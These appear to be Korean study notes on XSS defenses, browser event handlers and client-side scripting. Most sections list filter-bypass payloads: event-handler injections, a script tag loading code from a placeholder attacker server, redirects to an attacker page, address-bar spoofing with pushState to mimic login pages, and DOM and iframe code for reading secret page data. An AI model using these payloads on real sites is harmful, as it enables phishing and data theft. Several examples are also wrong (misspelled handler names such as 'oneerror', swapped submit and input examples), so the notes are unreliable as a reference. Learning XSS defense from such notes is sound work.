11주차 XSS대응방안 / EVENT HANDLER / CLIENT SCRIPT

11주차 XSS대응방안 / EVENT HANDLER / CLIENT SCRIPT

 

---

 

 

XSS 대응방안

- HTML ENTITY

- FILTERING

 

 

FILTERING

- 블랙리스트 기반 필터링

   -> 특정 단어만 제한/ 우회 가능성 존재

- 화이트리스트 기반 필터링

   -> 특정 단어만 허용

 

---

 

블랙리스트 기반 필터링 우회

- 길이 제한

EX)

<script src="공격자서버"></script>

    -> 스크립트태그에 공격자서버의 악성 스크립트가 작성되어있는 외부 링크를 가져온다

---

- script 단어 필터링

EX)

<ScrIpt>
<Script>
<SCRIPT>

   -> 대소문자 혼용

<scrscriptipt>

   -> 필터링을 예상하고 작성

<xcript>
  // xcript를 스크립트로 변경
  var scriptTag = document.createElement('script');
  scriptTag.textContent = message;
  document.head.appendChild(scriptTag);
</xcript>

   ->  script를 xript라고 변형 

---

<img src=x oneerror="alert(1)">

   -> 이미지태그값이 가져와지지 않아 에러가 날때 실행되는 oneerror 이용

<svg onload="alert(1)">

   -> 로드되었을때 스크립트 실행되는 onload 이용 EVENT HANDLER 이용

<div onclick="alert(1)">

   -> 클릭되었을때 스크립트 실행되는 onclilck 이라는 EVERNT HANDER 이용

<a href="javascript:alert(1)">TEST</a>

    -> a태그에 href로 주소 이동해 스크립트 실행/클릭시 해당 주소로 이동/주소창에서 바로 자바를 실행하는 방법

---

- <> 치환

EX)

<input type="text" value="입력값" onmousehander="alert(1)" >

   -> input 태그 사용 커서가 태그값에 닿으면 alert(1)값 실행

 

   -> <script> 태그안이 XSS 포인트를 이용

 

---

블랙리스트기반 필터링 우회 예방

- <' ">등의 HTML 특수문자를 HTML ENTITY 로 치환

- HTML ENTITY를 사용 못하는 HTML EDITOR(직접 html 코드를 작성할 수 있는)에서의 우회 예방

    -> HTML EDITOR 기능 삭제

    -> HTML EDITOR 기능을 사용할 때

       1. 사용자의 파라미터 HTML 특수문자들을 전부 HTML ENENTITY로 치환

       2. 허용해줄 태그를 식별하고 그 태그를 다시 살린다. (화이트 리스트 기반 필터링) 

       3. 살려준 태그내에 악의적인 event handler 부분을 필터링한다. (블랙리스트 기반 필터링)

---

 

EVENT HANDLER

 

- click 클릭 이벤트

element.addEventListener('click', function() { // 클릭 이벤트에 대한 처리 });

    -> 클릭할때 이벤트 발생

 

- dbclick 더블 클릭 이벤트

element.addEventListener('dblclick', function() { // 더블 클릭 이벤트에 대한 처리 });

    -> 더블클릭 할 때 이벤트 발생

 

- mouseover 마우스 오버 이벤트

element.addEventListener('mouseover', function() { // 마우스 오버 이벤트에 대한 처리 });

 

   -> 마우스커서가 요소위로 이동할때 이벤트 발생

 

- mouseout 마우스 아웃 이벤트

element.addEventListener('mouseout', function() { // 마우스 아웃 이벤트에 대한 처리 });

    -> 마우스 커서가 요소를 벗어날 때 이벤트 발생

 

- mouseenter 마우스엔터 이벤

document.getElementById('myElement').addEventListener('mouseenter', () => console.log('마우스가 요소에 진입했습니다.'));

   -> 마우스커서가 요소에 진입했을때 이벤트 발생

 

- onfocus 온포커스

<input type="text" onfocus="handleFocus()">

   -> 요소가 포커스를 받았을때 이벤트 발생

 

- autofocus 오토포커스

<input type="text" placeholder="자동 포커스" autofocus>

   -> 로드시 자동으로 input태그에 포커스 설정

- keydown 키 다운 이벤트

document.addEventListener('keydown', function(event) { // 키 다운 이벤트에 대한 처리 });

 

   -> 키보드의 키가 눌렸을 때 발생합니다.

 

- keyup 키 업 이벤트

document.addEventListener('keyup', function(event) { // 키 업 이벤트에 대한 처리 });

   -> 키보드의 키가 눌린 채로 있을 때 이벤트 발

 

 

- submit 폼 제출 이벤트

inputElement.addEventListener('input', function() {// 인풋 값 변경 이벤트에 대한 처리});

   -> 폼이 제출될 때 발생합니다.

 

- input 인풋 값 변경 이벤트

formElement.addEventListener('submit', function(event) { // 폼 제출 이벤트에 대한 처리 event.preventDefault(); // 폼의 기본 동작을 막음 });

-> 인풋 요소의 값이 변경 될 때 이벤트 발생

 

 

 

---

CLIENT SCRIPT

- PAGE REDIRECT

- 주소창 변조

- HTML 접근

- 태그의 속성값 가져오기 

---

 

PAGE REDIRCT

- 특정 페이지로 이동

EX)

<script>location.href="리다이렉트할곳공격자페이지";</script>

-> 그대로 값 삽입 뒤로가기 가능

<script>location.replace="리다이렉트 할 곳 공격자 페이지";</script>

-> 함수표현 뒤로가기 불가능

 

---

 

주소창 변조 

- history.pushState(상태, 제목, 링크)

- 주소창의 글자일부를 변환

- 도메인은 바꿀 수 없음

- 도메인 이후 의 글자를 로그인 페이지처럼 꾸미거나 글자 길이를 줄일때 사용

EX)

<script>history.pushState(null,null,'test')<script>

-> 도메인 이후의 글자를 test로 변환

 

---

HTML DON-M 접근

- document HTML 접근 

EX)

document("링크")

- document 객체 접근

document.getElementById('가져올 아이디값')

-> document 객체에 접근하여 특정 데이터 가져올 수 있다.

 

 

---

 

태그의 속성값 가져오기

- document.getElement(s)By속성.속성

- 속성 - Id / ClassName / Name / TagName / TagNameNS 등

EX)

document.getElementById('가져올아이디값').id

-> 해당 id의 속성값을 가져온다

+ id는 이름, 중복값이 존재하지 않는다 따라서 Elements 에서 s를 뺀다 배열이 아니므로 자주이용

---

태그안의 값 가져오기

document.getElementById('가져올아이디값').innerHTML = '찾을글자';

-> 해당 아이디가 있는 태그안의 값을 가져온다.

 

브레이브 브라우저 자체적으로 자바스크립트들을 막아주는 브라우저

 

---

 

HTML에서 가져올 값이 XSS POINT뒤에 있을때

- window/document.addEventListener('DOMContentLoaded',function() {페이지의 HTML이 모두 로드된 후 실행 될 코드}

-  DOMContentLoaded HTML코드를 전부 로드 한뒤 실행되는 코드를 작성

EX)

<script> 
window.addEventListener('DOMContentLoaded', function() {var+secretData=document.getElementsByName('info')[0].placeholder;console.log(secretData);})
</script>

- <img> 이용

EX)

<img src=x onerror="var secretData=document.getElementsByName('info')[0].placeholder;console.log(secretData);"/>

-> 이런 태그를 만들어야 한다

 

<script>
  var i = new Image();
  i.src = "var secretData=document.getElementsByName('info')[0].placeholder; console.log(secretData);";
</script>

-> 이렇게

 

HTML에서 가져올 값이 XSS POINT와 다를때

- <iframe> 이용

- 리다이렉션 시키면 안됨. 썼던 자바 다 날라감 

- 다른페이지를 xss point 내에서 로드

EX)

<iframe src="http://~~mypage.php" id="targetFrame"></iframe> //삽입할프레임작성

<script>
var targetTag = document.getElementById('targetFrame'); //프레임을 가져옴
var DOMData= targetTag.contentDocument; //프레임의 객체를 돔데이터로 가져옴
</script>

- 사이트 안에서 다른 사이트를 로드